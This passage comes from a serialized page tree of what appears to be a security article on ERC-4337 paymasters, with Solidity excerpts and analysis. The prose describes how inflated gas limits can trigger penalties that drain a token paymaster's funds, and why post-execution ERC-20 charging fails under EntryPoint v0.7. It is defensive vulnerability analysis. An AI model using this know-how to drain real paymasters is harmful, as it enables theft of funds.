",{"type":24,"tag":930,"props":2314,"children":2315},{"style":1079},[2316],{"type":30,"value":2317},"else",{"type":24,"tag":930,"props":2319,"children":2320},{"style":1079},[2321],{"type":30,"value":2322}," if",{"type":24,"tag":930,"props":2324,"children":2325},{"style":959},[2326],{"type":30,"value":2256},{"type":24,"tag":930,"props":2328,"children":2329},{"style":1158},[2330],{"type":30,"value":1350},{"type":24,"tag":930,"props":2332,"children":2333},{"style":959},[2334],{"type":30,"value":2266},{"type":24,"tag":930,"props":2336,"children":2338},{"class":932,"line":2337},55,[2339],{"type":24,"tag":930,"props":2340,"children":2341},{"style":1422},[2342],{"type":30,"value":2343},"                // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n",{"type":24,"tag":930,"props":2345,"children":2347},{"class":932,"line":2346},56,[2348],{"type":24,"tag":930,"props":2349,"children":2350},{"style":1422},[2351],{"type":30,"value":2352},"                // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n",{"type":24,"tag":930,"props":2354,"children":2356},{"class":932,"line":2355},57,[2357,2361,2365,2370,2374,2378,2382,2387,2391],{"type":24,"tag":930,"props":2358,"children":2359},{"style":959},[2360],{"type":30,"value":2284},{"type":24,"tag":930,"props":2362,"children":2363},{"style":1002},[2364],{"type":30,"value":1703},{"type":24,"tag":930,"props":2366,"children":2367},{"style":959},[2368],{"type":30,"value":2369},"(token, userOpSender, ",{"type":24,"tag":930,"props":2371,"children":2372},{"style":943},[2373],{"type":30,"value":1713},{"type":24,"tag":930,"props":2375,"children":2376},{"style":959},[2377],{"type":30,"value":1010},{"type":24,"tag":930,"props":2379,"children":2380},{"style":937},[2381],{"type":30,"value":1722},{"type":24,"tag":930,"props":2383,"children":2384},{"style":959},[2385],{"type":30,"value":2386},"), actualTokenNeeded ",{"type":24,"tag":930,"props":2388,"children":2389},{"style":1158},[2390],{"type":30,"value":1215},{"type":24,"tag":930,"props":2392,"children":2393},{"style":959},[2394],{"type":30,"value":2395}," preCharge);\n",{"type":24,"tag":930,"props":2397,"children":2399},{"class":932,"line":2398},58,[2400],{"type":24,"tag":930,"props":2401,"children":2402},{"style":959},[2403],{"type":30,"value":1643},{"type":24,"tag":930,"props":2405,"children":2407},{"class":932,"line":2406},59,[2408],{"type":24,"tag":930,"props":2409,"children":2410},{"emptyLinePlaceholder":16},[2411],{"type":30,"value":2412},"\n",{"type":24,"tag":930,"props":2414,"children":2416},{"class":932,"line":2415},60,[2417,2421,2426,2430,2434],{"type":24,"tag":930,"props":2418,"children":2419},{"style":1079},[2420],{"type":30,"value":1485},{"type":24,"tag":930,"props":2422,"children":2423},{"style":959},[2424],{"type":30,"value":2425}," (baseFee ",{"type":24,"tag":930,"props":2427,"children":2428},{"style":1158},[2429],{"type":30,"value":2261},{"type":24,"tag":930,"props":2431,"children":2432},{"style":1242},[2433],{"type":30,"value":1245},{"type":24,"tag":930,"props":2435,"children":2436},{"style":959},[2437],{"type":30,"value":1503},{"type":24,"tag":930,"props":2439,"children":2441},{"class":932,"line":2440},61,[2442,2446,2450],{"type":24,"tag":930,"props":2443,"children":2444},{"style":959},[2445],{"type":30,"value":2284},{"type":24,"tag":930,"props":2447,"children":2448},{"style":1002},[2449],{"type":30,"value":2289},{"type":24,"tag":930,"props":2451,"children":2452},{"style":959},[2453],{"type":30,"value":2454},"(token, tokenPaymasterConfig.rewardsPool, baseFee);\n",{"type":24,"tag":930,"props":2456,"children":2458},{"class":932,"line":2457},62,[2459],{"type":24,"tag":930,"props":2460,"children":2461},{"style":959},[2462],{"type":30,"value":1643},{"type":24,"tag":930,"props":2464,"children":2466},{"class":932,"line":2465},63,[2467],{"type":24,"tag":930,"props":2468,"children":2469},{"emptyLinePlaceholder":16},[2470],{"type":30,"value":2412},{"type":24,"tag":930,"props":2472,"children":2474},{"class":932,"line":2473},64,[2475,2480,2485],{"type":24,"tag":930,"props":2476,"children":2477},{"style":1079},[2478],{"type":30,"value":2479},"            emit",{"type":24,"tag":930,"props":2481,"children":2482},{"style":1002},[2483],{"type":30,"value":2484}," UserOperationSponsored",{"type":24,"tag":930,"props":2486,"children":2487},{"style":959},[2488],{"type":30,"value":2489},"(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n",{"type":24,"tag":930,"props":2491,"children":2493},{"class":932,"line":2492},65,[2494,2499],{"type":24,"tag":930,"props":2495,"children":2496},{"style":1002},[2497],{"type":30,"value":2498},"            refillEntryPointDeposit",{"type":24,"tag":930,"props":2500,"children":2501},{"style":959},[2502],{"type":30,"value":2503},"(_cachedPrice);\n",{"type":24,"tag":930,"props":2505,"children":2507},{"class":932,"line":2506},66,[2508],{"type":24,"tag":930,"props":2509,"children":2510},{"style":959},[2511],{"type":30,"value":1831},{"type":24,"tag":930,"props":2513,"children":2515},{"class":932,"line":2514},67,[2516],{"type":24,"tag":930,"props":2517,"children":2518},{"style":959},[2519],{"type":30,"value":1840},{"type":24,"tag":930,"props":2521,"children":2523},{"class":932,"line":2522},68,[2524],{"type":24,"tag":930,"props":2525,"children":2526},{"style":959},[2527],{"type":30,"value":2528},"}\n",{"type":24,"tag":33,"props":2530,"children":2531},{},[2532,2534,2540,2542,2547,2549,2555],{"type":30,"value":2533},"Looking at the code above, during ",{"type":24,"tag":156,"props":2535,"children":2537},{"className":2536},[],[2538],{"type":30,"value":2539},"validatePaymasterUserOp",{"type":30,"value":2541},", the paymaster attempts to charge a maximum prefund amount first. This prefund is calculated by taking the gas limit specified in the ",{"type":24,"tag":156,"props":2543,"children":2545},{"className":2544},[],[2546],{"type":30,"value":468},{"type":30,"value":2548}," and applying a markup price to convert the native ETH cost into the equivalent ERC20-token value. Later in ",{"type":24,"tag":156,"props":2550,"children":2552},{"className":2551},[],[2553],{"type":30,"value":2554},"postOp",{"type":30,"value":2556},", the paymaster calculates the actual charge and refunds any excess from the prefund.",{"type":24,"tag":33,"props":2558,"children":2559},{},[2560,2562,2567,2569,2576],{"type":30,"value":2561},"However, there is a critical oversight: ",{"type":24,"tag":275,"props":2563,"children":2564},{},[2565],{"type":30,"value":2566},"the code does not account for gas penalties",{"type":30,"value":2568},". The actual gas charged to the paymaster includes not just the gas used, but also any ",{"type":24,"tag":37,"props":2570,"children":2573},{"href":2571,"rel":2572},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L726-L730",[41],[2574],{"type":30,"value":2575},"penalties incurred",{"type":30,"value":2577}," from differences between the execution gas limit and actual execution gas.",{"type":24,"tag":33,"props":2579,"children":2580},{},[2581],{"type":30,"value":2582},"This vulnerability can be exploited by malicious users who set an artificially high gas limit to trigger the penalty. When penalties are applied, the paymaster will be charged significantly more than expected, potentially draining its funds since these additional costs were not factored into the calculation.",{"type":24,"tag":33,"props":2584,"children":2585},{},[2586,2588,2593],{"type":30,"value":2587},"In fact, the bundler will be the one who receives the penalty paid by the paymaster. This means a bundler could submit their own ",{"type":24,"tag":156,"props":2589,"children":2591},{"className":2590},[],[2592],{"type":30,"value":161},{"type":30,"value":2594}," to be executed by themselves and profit if the penalty they can extract from the paymaster exceeds their own gas costs paid to the paymaster. In SEND's case, fortunately, because they operate their own bundler, any penalties incurred flow back to their controlled bundler, creating a closed economic loop that mitigates this particular attack vector.",{"type":24,"tag":68,"props":2596,"children":2598},{"id":2597},"incorrect-erc-20-handling",[2599],{"type":24,"tag":275,"props":2600,"children":2601},{},[2602],{"type":30,"value":2603},"Incorrect ERC-20 Handling",{"type":24,"tag":33,"props":2605,"children":2606},{},[2607],{"type":30,"value":2608},"To improve user experience, some protocols introduced ERC-20 paymasters that allow users to pay transaction gas fees using ERC-20 tokens instead of native ETH (Just like what SEND did in the above code). The core concept is quite straightforward, the paymaster fronts the ETH gas costs to bundlers, then charges users an equivalent amount in ERC-20 tokens based on current market rates. However, implementing this token-to-ETH conversion and payment flow securely requires careful consideration.",{"type":24,"tag":33,"props":2610,"children":2611},{},[2612,2614,2619,2621,2626],{"type":30,"value":2613},"Looking at the ",{"type":24,"tag":156,"props":2615,"children":2617},{"className":2616},[],[2618],{"type":30,"value":243},{"type":30,"value":2620}," flow above, we can see that paymasters have two key interaction points during a ",{"type":24,"tag":156,"props":2622,"children":2624},{"className":2623},[],[2625],{"type":30,"value":161},{"type":30,"value":2627},"'s lifecycle:",{"type":24,"tag":478,"props":2629,"children":2630},{},[2631,2641],{"type":24,"tag":100,"props":2632,"children":2633},{},[2634,2636],{"type":30,"value":2635},"During validation via ",{"type":24,"tag":156,"props":2637,"children":2639},{"className":2638},[],[2640],{"type":30,"value":353},{"type":24,"tag":100,"props":2642,"children":2643},{},[2644,2646],{"type":30,"value":2645},"After execution via ",{"type":24,"tag":156,"props":2647,"children":2649},{"className":2648},[],[2650],{"type":30,"value":364},{"type":24,"tag":33,"props":2652,"children":2653},{},[2654],{"type":30,"value":2655},"This dual-interaction model has led to two predominant patterns for handling ERC-20 payments in paymaster implementations:",{"type":24,"tag":151,"props":2657,"children":2659},{"id":2658},"_1-pre-payment-with-refund-pattern",[2660],{"type":30,"value":2661},"1. Pre-Payment with Refund Pattern",{"type":24,"tag":33,"props":2663,"children":2664},{},[2665,2667,2672,2674,2679,2681,2687,2688,2694,2696,2701,2703,2708,2710,2715],{"type":30,"value":2666},"In this model, the paymaster requires users to pre-pay the maximum possible gas cost in ERC-20 tokens during ",{"type":24,"tag":156,"props":2668,"children":2670},{"className":2669},[],[2671],{"type":30,"value":353},{"type":30,"value":2673},". After execution completes, ",{"type":24,"tag":156,"props":2675,"children":2677},{"className":2676},[],[2678],{"type":30,"value":364},{"type":30,"value":2680}," refunds any excess tokens based on actual gas consumed. This is analogous to how regular ETH gas payments work. Several protocols like ",{"type":24,"tag":156,"props":2682,"children":2684},{"className":2683},[],[2685],{"type":30,"value":2686},"SEND",{"type":30,"value":211},{"type":24,"tag":156,"props":2689,"children":2691},{"className":2690},[],[2692],{"type":30,"value":2693},"Circle",{"type":30,"value":2695}," have implemented this approach. However, this pattern has one key disadvantage: users must first approve the paymaster to spend their ERC20 tokens before submitting any ",{"type":24,"tag":156,"props":2697,"children":2699},{"className":2698},[],[2700],{"type":30,"value":190},{"type":30,"value":2702},". This additional setup step is required to ensure the paymaster can successfully deduct tokens ",{"type":24,"tag":275,"props":2704,"children":2705},{},[2706],{"type":30,"value":2707},"before",{"type":30,"value":2709}," execution (specifically during ",{"type":24,"tag":156,"props":2711,"children":2713},{"className":2712},[],[2714],{"type":30,"value":2539},{"type":30,"value":2716},").",{"type":24,"tag":151,"props":2718,"children":2720},{"id":2719},"_2-post-execution-charging-pattern",[2721],{"type":30,"value":2722},"2. Post-Execution Charging Pattern",{"type":24,"tag":33,"props":2724,"children":2725},{},[2726,2728,2733,2735,2740,2742,2747,2749,2754],{"type":30,"value":2727},"This alternative approach defers token collection until after execution. Instead of charging a prefund during ",{"type":24,"tag":156,"props":2729,"children":2731},{"className":2730},[],[2732],{"type":30,"value":353},{"type":30,"value":2734},", the actual token payment is calculated and collected in ",{"type":24,"tag":156,"props":2736,"children":2738},{"className":2737},[],[2739],{"type":30,"value":364},{"type":30,"value":2741}," based on the exact gas consumed. At first glance, this appears to be the most user-friendly pattern since users can bundle their token approval transaction within the same ",{"type":24,"tag":156,"props":2743,"children":2745},{"className":2744},[],[2746],{"type":30,"value":161},{"type":30,"value":2748},", eliminating the need for a separate pre-approval transaction before submitting the ",{"type":24,"tag":156,"props":2750,"children":2752},{"className":2751},[],[2753],{"type":30,"value":468},{"type":30,"value":2755},". This means users could interact with the paymaster without any prior setup.",{"type":24,"tag":33,"props":2757,"children":2758},{},[2759,2761,2766,2768,2774,2776,2782,2784,2789],{"type":30,"value":2760},"This approach used to work in ",{"type":24,"tag":156,"props":2762,"children":2764},{"className":2763},[],[2765],{"type":30,"value":243},{"type":30,"value":2767}," version ",{"type":24,"tag":156,"props":2769,"children":2771},{"className":2770},[],[2772],{"type":30,"value":2773},"v0.6",{"type":30,"value":2775},", but the pattern no longer works in ",{"type":24,"tag":156,"props":2777,"children":2779},{"className":2778},[],[2780],{"type":30,"value":2781},"v0.7",{"type":30,"value":2783},". In fact, using this pattern can lead to loss of funds for the paymaster. Let's take a closer look at how ",{"type":24,"tag":156,"props":2785,"children":2787},{"className":2786},[],[2788],{"type":30,"value":2781},{"type":30,"value":2790}," handles the execution phase:",{"type":24,"tag":920,"props":2792,"children":2794},{"className":922,"code":2793,"language":924,"meta":7,"style":7},"    function _executeUserOp(\n        uint256 opIndex,\n        PackedUserOperation calldata userOp,\n        UserOpInfo memory opInfo\n    )\n    internal virtual\n    returns (uint256 collected) {\n    [...]\n        bool success;\n        {\n    [...]\n            if (methodSig == IAccountExecute.executeUserOp.selector) {\n                bytes memory executeUserOp = abi.encodeCall(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n                innerCall = abi.encodeCall(this.innerHandleOp, (executeUserOp, opInfo, context));\n            } else\n            {\n                innerCall = abi.encodeCall(this.innerHandleOp, (callData, opInfo, context));\n            }\n            assembly (\"memory-safe\") {\n                success := call(gas(), address(), 0, add(innerCall, 0x20), mload(innerCall), 0, 32)\n                collected := mload(0)\n            }\n            _restoreFreePtr(saveFreePtr);\n        }\n        if (!success) {\n    [...]\n            if (innerRevertCode == INNER_OUT_OF_GAS) {\n                // handleOps was called with gas limit too low. abort entire bundle.\n                // can only be caused by bundler (leaving not enough gas for inner call)\n                revert FailedOp(opIndex, \"AA95 out of gas\");\n            } else if (innerRevertCode == INNER_REVERT_LOW_PREFUND) {\n                // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n                uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n                uint256 actualGasCost = opInfo.prefund;\n                _emitPrefundTooLow(opInfo);\n                _emitUserOperationEvent(opInfo, false, actualGasCost, actualGas);\n                collected = actualGasCost;\n            } else {\n    [...]\n                collected = _postExecution(\n                    IPaymaster.PostOpMode.postOpReverted,\n                    opInfo,\n                    context,\n                    actualGas\n                );\n            }\n        }\n    }\n",[2795],{"type":24,"tag":156,"props":2796,"children":2797},{"__ignoreMap":7},[2798,2815,2833,2853,2870,2878,2891,2916,2924,2937,2945,2952,2973,3012,3049,3061,3069,3105,3112,3133,3227,3256,3263,3276,3283,3305,3312,3333,3341,3349,3376,3404,3412,3456,3476,3489,3511,3527,3542,3549,3569,3577,3585,3593,3601,3609,3616,3623],{"type":24,"tag":930,"props":2799,"children":2800},{"class":932,"line":933},[2801,2805,2810],{"type":24,"tag":930,"props":2802,"children":2803},{"style":937},[2804],{"type":30,"value":999},{"type":24,"tag":930,"props":2806,"children":2807},{"style":1002},[2808],{"type":30,"value":2809}," _executeUserOp",{"type":24,"tag":930,"props":2811,"children":2812},{"style":959},[2813],{"type":30,"value":2814},"(\n",{"type":24,"tag":930,"props":2816,"children":2817},{"class":932,"line":984},[2818,2823,2828],{"type":24,"tag":930,"props":2819,"children":2820},{"style":943},[2821],{"type":30,"value":2822},"        uint256",{"type":24,"tag":930,"props":2824,"children":2825},{"style":1023},[2826],{"type":30,"value":2827}," opIndex",{"type":24,"tag":930,"props":2829,"children":2830},{"style":959},[2831],{"type":30,"value":2832},",\n",{"type":24,"tag":930,"props":2834,"children":2835},{"class":932,"line":993},[2836,2841,2845,2849],{"type":24,"tag":930,"props":2837,"children":2838},{"style":937},[2839],{"type":30,"value":2840},"        PackedUserOperation",{"type":24,"tag":930,"props":2842,"children":2843},{"style":937},[2844],{"type":30,"value":1020},{"type":24,"tag":930,"props":2846,"children":2847},{"style":1023},[2848],{"type":30,"value":1026},{"type":24,"tag":930,"props":2850,"children":2851},{"style":959},[2852],{"type":30,"value":2832},{"type":24,"tag":930,"props":2854,"children":2855},{"class":932,"line":1057},[2856,2861,2865],{"type":24,"tag":930,"props":2857,"children":2858},{"style":937},[2859],{"type":30,"value":2860},"        UserOpInfo",{"type":24,"tag":930,"props":2862,"children":2863},{"style":937},[2864],{"type":30,"value":1097},{"type":24,"tag":930,"props":2866,"children":2867},{"style":1023},[2868],{"type":30,"value":2869}," opInfo\n",{"type":24,"tag":930,"props":2871,"children":2872},{"class":932,"line":1066},[2873],{"type":24,"tag":930,"props":2874,"children":2875},{"style":959},[2876],{"type":30,"value":2877},"    )\n",{"type":24,"tag":930,"props":2879,"children":2880},{"class":932,"line":1075},[2881,2886],{"type":24,"tag":930,"props":2882,"children":2883},{"style":937},[2884],{"type":30,"value":2885},"    internal",{"type":24,"tag":930,"props":2887,"children":2888},{"style":937},[2889],{"type":30,"value":2890}," virtual\n",{"type":24,"tag":930,"props":2892,"children":2893},{"class":932,"line":1122},[2894,2899,2903,2907,2912],{"type":24,"tag":930,"props":2895,"children":2896},{"style":1079},[2897],{"type":30,"value":2898},"    returns",{"type":24,"tag":930,"props":2900,"children":2901},{"style":959},[2902],{"type":30,"value":1087},{"type":24,"tag":930,"props":2904,"children":2905},{"style":943},[2906],{"type":30,"value":1044},{"type":24,"tag":930,"props":2908,"children":2909},{"style":1023},[2910],{"type":30,"value":2911}," collected",{"type":24,"tag":930,"props":2913,"children":2914},{"style":959},[2915],{"type":30,"value":1503},{"type":24,"tag":930,"props":2917,"children":2918},{"class":932,"line":1131},[2919],{"type":24,"tag":930,"props":2920,"children":2921},{"style":959},[2922],{"type":30,"value":2923},"    [...]\n",{"type":24,"tag":930,"props":2925,"children":2926},{"class":932,"line":1144},[2927,2932],{"type":24,"tag":930,"props":2928,"children":2929},{"style":943},[2930],{"type":30,"value":2931},"        bool",{"type":24,"tag":930,"props":2933,"children":2934},{"style":959},[2935],{"type":30,"value":2936}," success;\n",{"type":24,"tag":930,"props":2938,"children":2939},{"class":932,"line":1169},[2940],{"type":24,"tag":930,"props":2941,"children":2942},{"style":959},[2943],{"type":30,"value":2944},"        {\n",{"type":24,"tag":930,"props":2946,"children":2947},{"class":932,"line":1191},[2948],{"type":24,"tag":930,"props":2949,"children":2950},{"style":959},[2951],{"type":30,"value":2923},{"type":24,"tag":930,"props":2953,"children":2954},{"class":932,"line":1223},[2955,2959,2964,2968],{"type":24,"tag":930,"props":2956,"children":2957},{"style":1079},[2958],{"type":30,"value":1485},{"type":24,"tag":930,"props":2960,"children":2961},{"style":959},[2962],{"type":30,"value":2963}," (methodSig ",{"type":24,"tag":930,"props":2965,"children":2966},{"style":1158},[2967],{"type":30,"value":1239},{"type":24,"tag":930,"props":2969,"children":2970},{"style":959},[2971],{"type":30,"value":2972}," IAccountExecute.executeUserOp.selector) {\n",{"type":24,"tag":930,"props":2974,"children":2975},{"class":932,"line":1281},[2976,2981,2985,2990,2994,2998,3002,3007],{"type":24,"tag":930,"props":2977,"children":2978},{"style":943},[2979],{"type":30,"value":2980},"                bytes",{"type":24,"tag":930,"props":2982,"children":2983},{"style":937},[2984],{"type":30,"value":1097},{"type":24,"tag":930,"props":2986,"children":2987},{"style":959},[2988],{"type":30,"value":2989}," executeUserOp ",{"type":24,"tag":930,"props":2991,"children":2992},{"style":1158},[2993],{"type":30,"value":1161},{"type":24,"tag":930,"props":2995,"children":2996},{"style":937},[2997],{"type":30,"value":1745},{"type":24,"tag":930,"props":2999,"children":3000},{"style":959},[3001],{"type":30,"value":436},{"type":24,"tag":930,"props":3003,"children":3004},{"style":1002},[3005],{"type":30,"value":3006},"encodeCall",{"type":24,"tag":930,"props":3008,"children":3009},{"style":959},[3010],{"type":30,"value":3011},"(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n",{"type":24,"tag":930,"props":3013,"children":3014},{"class":932,"line":1313},[3015,3020,3024,3028,3032,3036,3040,3044],{"type":24,"tag":930,"props":3016,"children":3017},{"style":959},[3018],{"type":30,"value":3019},"                innerCall ",{"type":24,"tag":930,"props":3021,"children":3022},{"style":1158},[3023],{"type":30,"value":1161},{"type":24,"tag":930,"props":3025,"children":3026},{"style":937},[3027],{"type":30,"value":1745},{"type":24,"tag":930,"props":3029,"children":3030},{"style":959},[3031],{"type":30,"value":436},{"type":24,"tag":930,"props":3033,"children":3034},{"style":1002},[3035],{"type":30,"value":3006},{"type":24,"tag":930,"props":3037,"children":3038},{"style":959},[3039],{"type":30,"value":1010},{"type":24,"tag":930,"props":3041,"children":3042},{"style":937},[3043],{"type":30,"value":1722},{"type":24,"tag":930,"props":3045,"children":3046},{"style":959},[3047],{"type":30,"value":3048},".innerHandleOp, (executeUserOp, opInfo, context));\n",{"type":24,"tag":930,"props":3050,"children":3051},{"class":932,"line":1335},[3052,3056],{"type":24,"tag":930,"props":3053,"children":3054},{"style":959},[3055],{"type":30,"value":2312},{"type":24,"tag":930,"props":3057,"children":3058},{"style":1079},[3059],{"type":30,"value":3060},"else\n",{"type":24,"tag":930,"props":3062,"children":3063},{"class":932,"line":1376},[3064],{"type":24,"tag":930,"props":3065,"children":3066},{"style":959},[3067],{"type":30,"value":3068},"            {\n",{"type":24,"tag":930,"props":3070,"children":3071},{"class":932,"line":1418},[3072,3076,3080,3084,3088,3092,3096,3100],{"type":24,"tag":930,"props":3073,"children":3074},{"style":959},[3075],{"type":30,"value":3019},{"type":24,"tag":930,"props":3077,"children":3078},{"style":1158},[3079],{"type":30,"value":1161},{"type":24,"tag":930,"props":3081,"children":3082},{"style":937},[3083],{"type":30,"value":1745},{"type":24,"tag":930,"props":3085,"children":3086},{"style":959},[3087],{"type":30,"value":436},{"type":24,"tag":930,"props":3089,"children":3090},{"style":1002},[3091],{"type":30,"value":3006},{"type":24,"tag":930,"props":3093,"children":3094},{"style":959},[3095],{"type":30,"value":1010},{"type":24,"tag":930,"props":3097,"children":3098},{"style":937},[3099],{"type":30,"value":1722},{"type":24,"tag":930,"props":3101,"children":3102},{"style":959},[3103],{"type":30,"value":3104},".innerHandleOp, (callData, opInfo, context));\n",{"type":24,"tag":930,"props":3106,"children":3107},{"class":932,"line":1438},[3108],{"type":24,"tag":930,"props":3109,"children":3110},{"style":959},[3111],{"type":30,"value":1643},{"type":24,"tag":930,"props":3113,"children":3114},{"class":932,"line":1479},[3115,3120,3124,3129],{"type":24,"tag":930,"props":3116,"children":3117},{"style":1002},[3118],{"type":30,"value":3119},"            assembly",{"type":24,"tag":930,"props":3121,"children":3122},{"style":959},[3123],{"type":30,"value":1087},{"type":24,"tag":930,"props":3125,"children":3126},{"style":1270},[3127],{"type":30,"value":3128},"\"memory-safe\"",{"type":24,"tag":930,"props":3130,"children":3131},{"style":959},[3132],{"type":30,"value":1503},{"type":24,"tag":930,"props":3134,"children":3135},{"class":932,"line":1506},[3136,3141,3146,3151,3155,3160,3164,3168,3172,3176,3180,3185,3190,3195,3200,3205,3210,3214,3218,3223],{"type":24,"tag":930,"props":3137,"children":3138},{"style":959},[3139],{"type":30,"value":3140},"                success ",{"type":24,"tag":930,"props":3142,"children":3143},{"style":1158},[3144],{"type":30,"value":3145},":=",{"type":24,"tag":930,"props":3147,"children":3148},{"style":1002},[3149],{"type":30,"value":3150}," call",{"type":24,"tag":930,"props":3152,"children":3153},{"style":959},[3154],{"type":30,"value":1010},{"type":24,"tag":930,"props":3156,"children":3157},{"style":1002},[3158],{"type":30,"value":3159},"gas",{"type":24,"tag":930,"props":3161,"children":3162},{"style":959},[3163],{"type":30,"value":1364},{"type":24,"tag":930,"props":3165,"children":3166},{"style":943},[3167],{"type":30,"value":1713},{"type":24,"tag":930,"props":3169,"children":3170},{"style":959},[3171],{"type":30,"value":1364},{"type":24,"tag":930,"props":3173,"children":3174},{"style":1242},[3175],{"type":30,"value":1818},{"type":24,"tag":930,"props":3177,"children":3178},{"style":959},[3179],{"type":30,"value":962},{"type":24,"tag":930,"props":3181,"children":3182},{"style":1002},[3183],{"type":30,"value":3184},"add",{"type":24,"tag":930,"props":3186,"children":3187},{"style":959},[3188],{"type":30,"value":3189},"(innerCall, ",{"type":24,"tag":930,"props":3191,"children":3192},{"style":1242},[3193],{"type":30,"value":3194},"0x20",{"type":24,"tag":930,"props":3196,"children":3197},{"style":959},[3198],{"type":30,"value":3199},"), ",{"type":24,"tag":930,"props":3201,"children":3202},{"style":1002},[3203],{"type":30,"value":3204},"mload",{"type":24,"tag":930,"props":3206,"children":3207},{"style":959},[3208],{"type":30,"value":3209},"(innerCall), ",{"type":24,"tag":930,"props":3211,"children":3212},{"style":1242},[3213],{"type":30,"value":1818},{"type":24,"tag":930,"props":3215,"children":3216},{"style":959},[3217],{"type":30,"value":962},{"type":24,"tag":930,"props":3219,"children":3220},{"style":1242},[3221],{"type":30,"value":3222},"32",{"type":24,"tag":930,"props":3224,"children":3225},{"style":959},[3226],{"type":30,"value":1054},{"type":24,"tag":930,"props":3228,"children":3229},{"class":932,"line":1525},[3230,3235,3239,3244,3248,3252],{"type":24,"tag":930,"props":3231,"children":3232},{"style":959},[3233],{"type":30,"value":3234},"                collected ",{"type":24,"tag":930,"props":3236,"children":3237},{"style":1158},[3238],{"type":30,"value":3145},{"type":24,"tag":930,"props":3240,"children":3241},{"style":1002},[3242],{"type":30,"value":3243}," mload",{"type":24,"tag":930,"props":3245,"children":3246},{"style":959},[3247],{"type":30,"value":1010},{"type":24,"tag":930,"props":3249,"children":3250},{"style":1242},[3251],{"type":30,"value":1818},{"type":24,"tag":930,"props":3253,"children":3254},{"style":959},[3255],{"type":30,"value":1054},{"type":24,"tag":930,"props":3257,"children":3258},{"class":932,"line":1569},[3259],{"type":24,"tag":930,"props":3260,"children":3261},{"style":959},[3262],{"type":30,"value":1643},{"type":24,"tag":930,"props":3264,"children":3265},{"class":932,"line":1592},[3266,3271],{"type":24,"tag":930,"props":3267,"children":3268},{"style":1002},[3269],{"type":30,"value":3270},"            _restoreFreePtr",{"type":24,"tag":930,"props":3272,"children":3273},{"style":959},[3274],{"type":30,"value":3275},"(saveFreePtr);\n",{"type":24,"tag":930,"props":3277,"children":3278},{"class":932,"line":1610},[3279],{"type":24,"tag":930,"props":3280,"children":3281},{"style":959},[3282],{"type":30,"value":1831},{"type":24,"tag":930,"props":3284,"children":3285},{"class":932,"line":1628},[3286,3291,3295,3300],{"type":24,"tag":930,"props":3287,"children":3288},{"style":1079},[3289],{"type":30,"value":3290},"        if",{"type":24,"tag":930,"props":3292,"children":3293},{"style":959},[3294],{"type":30,"value":1087},{"type":24,"tag":930,"props":3296,"children":3297},{"style":1158},[3298],{"type":30,"value":3299},"!",{"type":24,"tag":930,"props":3301,"children":3302},{"style":959},[3303],{"type":30,"value":3304},"success) {\n",{"type":24,"tag":930,"props":3306,"children":3307},{"class":932,"line":1637},[3308],{"type":24,"tag":930,"props":3309,"children":3310},{"style":959},[3311],{"type":30,"value":2923},{"type":24,"tag":930,"props":3313,"children":3314},{"class":932,"line":1646},[3315,3319,3324,3328],{"type":24,"tag":930,"props":3316,"children":3317},{"style":1079},[3318],{"type":30,"value":1485},{"type":24,"tag":930,"props":3320,"children":3321},{"style":959},[3322],{"type":30,"value":3323}," (innerRevertCode ",{"type":24,"tag":930,"props":3325,"children":3326},{"style":1158},[3327],{"type":30,"value":1239},{"type":24,"tag":930,"props":3329,"children":3330},{"style":959},[3331],{"type":30,"value":3332}," INNER_OUT_OF_GAS) {\n",{"type":24,"tag":930,"props":3334,"children":3335},{"class":932,"line":1673},[3336],{"type":24,"tag":930,"props":3337,"children":3338},{"style":1422},[3339],{"type":30,"value":3340},"                // handleOps was called with gas limit too low. abort entire bundle.\n",{"type":24,"tag":930,"props":3342,"children":3343},{"class":932,"line":1692},[3344],{"type":24,"tag":930,"props":3345,"children":3346},{"style":1422},[3347],{"type":30,"value":3348},"                // can only be caused by bundler (leaving not enough gas for inner call)\n",{"type":24,"tag":930,"props":3350,"children":3351},{"class":932,"line":1730},[3352,3357,3362,3367,3372],{"type":24,"tag":930,"props":3353,"children":3354},{"style":1079},[3355],{"type":30,"value":3356},"                revert",{"type":24,"tag":930,"props":3358,"children":3359},{"style":1002},[3360],{"type":30,"value":3361}," FailedOp",{"type":24,"tag":930,"props":3363,"children":3364},{"style":959},[3365],{"type":30,"value":3366},"(opIndex, ",{"type":24,"tag":930,"props":3368,"children":3369},{"style":1270},[3370],{"type":30,"value":3371},"\"AA95 out of gas\"",{"type":24,"tag":930,"props":3373,"children":3374},{"style":959},[3375],{"type":30,"value":1278},{"type":24,"tag":930,"props":3377,"children":3378},{"class":932,"line":1762},[3379,3383,3387,3391,3395,3399],{"type":24,"tag":930,"props":3380,"children":3381},{"style":959},[3382],{"type":30,"value":2312},{"type":24,"tag":930,"props":3384,"children":3385},{"style":1079},[3386],{"type":30,"value":2317},{"type":24,"tag":930,"props":3388,"children":3389},{"style":1079},[3390],{"type":30,"value":2322},{"type":24,"tag":930,"props":3392,"children":3393},{"style":959},[3394],{"type":30,"value":3323},{"type":24,"tag":930,"props":3396,"children":3397},{"style":1158},[3398],{"type":30,"value":1239},{"type":24,"tag":930,"props":3400,"children":3401},{"style":959},[3402],{"type":30,"value":3403}," INNER_REVERT_LOW_PREFUND) {\n",{"type":24,"tag":930,"props":3405,"children":3406},{"class":932,"line":1775},[3407],{"type":24,"tag":930,"props":3408,"children":3409},{"style":1422},[3410],{"type":30,"value":3411},"                // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n",{"type":24,"tag":930,"props":3413,"children":3414},{"class":932,"line":1825},[3415,3419,3424,3428,3433,3437,3442,3447,3451],{"type":24,"tag":930,"props":3416,"children":3417},{"style":943},[3418],{"type":30,"value":1512},{"type":24,"tag":930,"props":3420,"children":3421},{"style":959},[3422],{"type":30,"value":3423}," actualGas ",{"type":24,"tag":930,"props":3425,"children":3426},{"style":1158},[3427],{"type":30,"value":1161},{"type":24,"tag":930,"props":3429,"children":3430},{"style":959},[3431],{"type":30,"value":3432}," preGas 